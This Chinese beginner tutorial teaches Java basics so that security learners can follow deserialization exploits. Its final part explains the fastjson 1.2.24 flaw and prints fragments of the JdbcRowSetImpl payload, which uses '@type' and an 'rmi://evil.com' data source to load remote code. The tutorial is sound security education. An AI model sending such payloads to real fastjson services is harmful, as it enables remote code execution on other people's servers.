1、入门必看
1)适合对象:对于java啥都不懂,但是对网络安全有基础得人,有想大概理解java payload得需求者。
2)文章目标:看了之后能理解大佬java反序列化、fastjson、jndi、log4j、spring框架等漏洞的思路。
3)本文内容避免代码初阶知识,菜鸟教程都有,讲的都是网安需要用的。本人也是小白刚入门java,有错误还请大佬指正。
2、java基础知识
1)掌握IDEA基本操作-----之后复现可能要用
IDEA文件中,
.idea文件夹----别管
.mvn文件夹-----别管
.src文件夹-----之后主要在这里看
.target---------之后文件在这里输出,注意不要在这编辑文件哦,不能修改的,是输出成.class文件。
2)了解怎么使用java工具,不然给你工具都不会用哈哈哈 电脑命令行输入
电脑命令行输入
java -jar 你想用的工具名字
3)再教一下java基本的流程 1.java-------1.class才能用 IDEA要target要输出的是.class文件
1.java-------1.class才能用
IDEA要target要输出的是.class文件
4)面向对象编程----了解基础的java代码 简单讲讲 class 类------动物(记住class这个单词) 方法------------吃东西 对象---------猫(一般用new就行) 总之,记住,java代码中万物皆对象,基本要先new,(除非是反射) 一个简单的示例 这里我创建了一个类:hello 然后我new了一个对象
简单讲讲
class 类------动物(记住class这个单词)
方法------------吃东西
对象---------猫(一般用new就行)
总之,记住,java代码中万物皆对象,基本要先new,(除非是反射)
一个简单的示例
这里我创建了一个类:hello
然后我new了一个对象
import com.bbb.*;
public class hello {
public static void main(String[] args) {
Father father = new Father();
}
}
这段目的:
只要你之后看到class明白,哦这是个类,
看到new,知道新建一个对象
因为我们是初学者,先了解再深入。
5)反射-----payload常规操作
这里我们只要知道,反射很牛逼,反射能突破先用类,再用方法的限制
另外还要知道一个单词,class-load类加载器,就是反射中加载类的意思
6)资源包------之后payload会有高频com.xxxx.xxx出现
com.bbb.*是资源包的意思,相当于插件,你用的话就要引用
这里看到com.xxxx.xx知道是啥软件包,就已经达到目的了。
实战1:fastjson 1.2.24 反序列化导致任意命令执行漏洞原理解析
1)fastjson是什么?
他是一个库。
2)fastjson的作用?
客户端—json编码–json解码----后端
fastjson负责json的编码和解码
3)什么是json数据呢?–这里截个图看看就行,不是重点
在这里插入图片描述
4)那为啥会有漏洞呢?
com.sun.rowset.JdbcRowSetImpl利用链
已知:java中,com是资源包的意思
通过@type后,引用这个资源包
可以实例化应用rmi方法的类
"@type":"com.sun.rowset.JdbcRowSetImpl"
=
import com.sun.rowset.JdbcRowSetImpl;
"dataSourceName":"rmi://evil.com:9999/TouchFile",
=jdbcRowSet.setDataSourceName("rmi://evil.com:9999/aaa");
简单来说,通过@type调用软件包,然后再调用rmi远程访问